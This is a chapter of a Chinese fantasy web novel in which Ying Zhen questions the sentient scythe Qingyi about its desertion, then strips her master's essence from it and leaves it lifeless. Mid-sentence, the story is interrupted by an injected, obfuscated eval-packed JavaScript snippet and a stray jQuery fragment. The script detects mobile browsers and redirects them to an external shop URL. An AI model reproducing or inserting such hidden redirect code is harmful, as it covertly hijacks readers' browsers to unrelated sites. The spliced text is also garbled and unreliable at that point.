文趣网 > 其他小说 > 灭世反派决定去写童话 > 38. 难见·再见(下)
    应珍的声音落在砺锋区凝固的煞气中,没有回响,只有风穿过万千残刃时更显凄厉的呜咽。

    她与清夷镰只有三步的距离,却也隔着三年的距离。应珍看着这把曾是自己半身的镰刀,目光平静得像在审视一件陌生器物。

    清夷镰没有立刻回应,但其刃身上的暗红纹路仿佛停滞了流动,萦绕周围的淡黑煞气都凝滞了一瞬。

    死寂在蔓延,久到应珍几乎要以为,三年的自我放逐已彻底磨灭了它的灵智——她与它之间再也无法产生联结了。

    然后,一丝极其微弱、仿佛随时会断裂的意念,颤巍巍地触碰到她的识海边缘。那意念不再有昔日的清晰,而是充满了砂砾摩擦般的粗糙与模糊。

    「应婙殊……是……你。」

    它认出了她。但这声辨认里,没有重逢的波动,只有一种更深沉的、近乎虚无的疲惫。

    应珍没有动,只是重复:“清夷,为什么?”

    这一次,清夷镰的意念波动起来,像被投入石子的死水,漾开一圈圈痛苦的涟漪。

    「……我不知道。」

    这个答案,让应珍的眉心几不可察地蹙了一下。

    「我不知道那是谁,」清夷镰的意念继续传来,断断续续,仿佛每个字都在消耗所剩无几的灵性,「在沧浪海上……在所有源力最混乱狂暴的时刻……它来了。不是声音,不是画面……是一种……存在……它的本体在轰鸣。古老,冰冷,绝对。不是请求,是命令。一个我必须服从的……规则。」

    清夷镰的意念里翻涌起清晰的恐惧,那是器灵面对更高层次且无法理解的力量时,本能的战栗。

    「它命令我离开。离开你,离开战场,回到这里……剑冢,砺锋区,这个位置。」意念的指向明确无误,就是此刻它扎根之处,「我抵抗了……用尽全力……但我……挣脱不开。」

    清夷镰似乎在回忆那场撕裂般的挣扎,意念波动得更加混乱痛苦。

    「我试过寻找它……回来后的三年,每一天,我都在煞气里搜寻那召唤的源头……是谁?是什么?为什么是我?我不知道……我感受不到任何熟悉的灵韵,找不到任何指向……它就像……就像这片天地本身突然向我降下的一道旨意,而我,无力违抗。」

    器灵的悲哀,是一种纯粹造物的悲哀。

    它甚至不知道向谁愤怒,向谁索求答案。

    那召唤无名无姓,无迹可寻,却拥有绝对的力量,将它从并肩数十年的主人身边,硬生生撕扯回这片黑暗。

    清夷镰的意念突然低弱了下去,充满了无力与自我厌弃:「我知道这看起来……就是背叛,是抛弃。你怎么想……都是对的。」

    真相,不是法术,不是阴谋,不是敌人,甚至不是一个可以仇恨和对抗的具体目标。

    它是一种无法理解的规则或命运,而在它们面前,所有的挣扎和反抗,都显得那么徒劳和微不足道。

    应珍沉默了。

    砺锋区的风卷起微尘,落在她肩头,也落在那把失去光泽的镰刀上,她脸上的平静出现了一丝细微的裂痕,不是动容,而是一种更深沉的冰冷。

    “所以,”她终于再次开口,声音比砺锋区的石头更硬,“你因为一个不知道是什么、来自哪里的命令,就在我最需要的时候,松开了手。”

    不是质问,是陈述。陈述一个她刚刚接收到的那个荒谬绝伦的事实。

    清夷镰的意念微弱地闪烁了一下,似乎想辩解,最终只化为一片更沉重的默然。

    应珍缓缓抬起手,掌心中淡金色的秘法符文亮起,流转着精密而冷酷的光泽。

    「应婙殊……」

    “不必再叫我。”应珍打断它,向前走了一步,伸出手,不是去握那长柄,而是悬停在镰刀刃身上方三寸之处,“从你主动斩断联系回到这里的那一刻起,你我就已不再是伙伴。对我来说,你就只是一把……普通的镰刀。”

    “我今天来,一是要一个答案。现在,我得到了。但我不需要这样的答案,一个不知道,抵消不了三年前的代价,也填补不了沧浪海上那道伤。”应珍的目光落在清夷镰上,没有任何温度。

    淡金色的符文如同活物般流淌而下,触及清夷镰的刃身。

    “第二件事是,我要取回师父留存在你这里的本源气息。那不属于你,也不该继续留在你这把……凶兵之中。”

    符文如金色的溪流,顺着她的手势涌向清夷镰。

    「唔——!」器灵传来一声极度痛苦的灵韵嘶鸣。那些暗红色的纹路疯狂扭动起来,抵抗着符文的侵蚀。

    镰身剧烈震颤,周围的煞气被搅动,形成小型的旋风,将应珍的头发吹得凌乱。

    但她依旧面无表情,另一只手结印下压。更多的金色符文从她指尖涌出,交织成一张细密的光网,将整个清夷镰笼罩。

    这可以说是强行掠夺,也可以说是应珍在进行一种精细而冷酷的“剥离”——将师父宿殷当年那缕炼化、温养、留存于此的本源之力,如同抽丝剥茧般,从清夷镰的核心灵韵中分离出来。

    对于器灵而言,无异于刮骨抽髓。

    至于当年应婙殊的本源气息,竟在三年内消失得无影无踪。但此刻的她,已无心留意此事。

    清夷镰的意念断断续续,充满了濒临破碎的痛苦和一丝解脱般的哀伤:「对不……起……当年……没能……陪你……走到最后……」

    应珍的动作没有丝毫停滞,仿佛没有听到。她的眼神专注而冰冷,只有额角渗出的细密汗珠。

    剥离源力的过程,对她来说,同样艰难,也同样承受着破皮抽筋的痛苦。

    「唔!」器灵又发出一声短促的被彻底扼住灵魂核心的哀鸣。

    这一次,没有激烈的反抗,只有一种认命般的彻底放弃。刃身上的暗红纹路如同暴露在烈日下的残雪,迅速消融褪色。

    一点点晶莹如星尘,却又沉重如山岳的淡银色光点,从清夷镰的刃身和长柄中被强行牵引而出,汇聚到应珍掌心上方,逐渐凝聚成一小团缓缓旋转的纯净而威严的源力气旋——那便是师父宿殷的本源气息,纯净,强大,不带丝毫清夷镰的煞气与杂质。

    随着源力的流失

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17610623|205924||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,清夷镰的变化比之前更加彻底,更加迅速。

    乌黑的柄迅速灰败,布满粗糙的裂痕。刃身上那些仿佛拥有生命的暗红色纹路,迅速消退,失去所有锐利的寒光,变得黯淡无光。

    萦绕其周身的最后一丝煞气,如同被戳破的气泡般消散。那曾经独特的存在感——孤寂的、凶戾的、属于异类的锋芒,如同退潮般消失得干干净净。

    不过十几个呼吸的时间。

    插在地上的,已经彻底变成了一堆勉强保持着镰刀形状但毫无灵性波动的破铜烂铁。

    乌黑的长柄失去了那种内敛的幽光,变得粗糙晦暗。镰身不再散发那独特的混合着孤寂与凶戾的气息,而是迅速衰败下去,变得……普通,甚至破败。

    震颤停止了。

    周围搅动的煞气旋风缓缓平息。

    那把曾经让应珍珍视无比又痛彻心扉的清夷镰,此刻静静插在地上,看上去就像一把在铁匠铺角落里蒙尘多年即将回炉的旧农具。

    没有灵光,没有波动,连一丝煞气都难以凝聚。

    器灵的意念,早已在那剥离的痛苦中,微弱到近乎消散,最终,归于一片死寂的空白。

    没有遗言,没有最后的道别。

    它还在那里,却已经死了。

    作为兵器的“清夷”,作为伙伴的“清夷”,都已不复存在,剩下的,只是一块形状奇特的凡铁而已。

    应珍握紧了掌心那团温润却沉重的源力气旋,小心地纳入特制的玉瓶之中封印好。她这才垂下眼,看向地上那把“废铁”。

    或许,对它而言,这种彻底又无知无觉的消亡,比继续在无名召唤的阴影下苟延残喘,更像一种解脱。

    应珍脸上依旧没有任何表情。

    没有大仇得报的快意,没有旧物毁去的惋惜,更没有知晓苦衷后的怜悯,只有一种尘埃落定后的淡漠。

    她得到了一个无法令人释怀的答案,然后取走了需要的东西,同时终结了一件早已失控的危险器物。

    仅此而已。

    至于清夷镰本身,它的故事,它的不得已,它的痛苦与选择,对她而言,似乎已经不再重要了。

    有些裂痕,即使知道了原因,也无法弥合。

    有些离别,即使并非本意,也无法回头。

    应珍最后看了一眼那堆废铁,仿佛要将这个最后的形象刻入记忆,又仿佛只是为了确认它的“终结”。

    手里握紧封印着师父源力的玉瓶,应珍感受着掌心传来的温润与沉重。

    砺锋区恢复了往日的常态,风继续呜咽,残兵继续沉默,煞气缓缓流淌。

    唯有那把曾是“异类”,曾拥有名字和灵魂的镰刀所在之处,空余一小堆正在加速锈蚀的与周遭环境彻底同化的金属残渣。

    没有谁知道它曾为何离去,又为何归来。

    也没有谁在意,它最终为何而“死”。

    无名而来,无名而去。

    唯有那一声穿越三年的“为什么”,和那个“不知道”的答案,如同最细微的尘埃,消散在剑冢永不停歇的风里。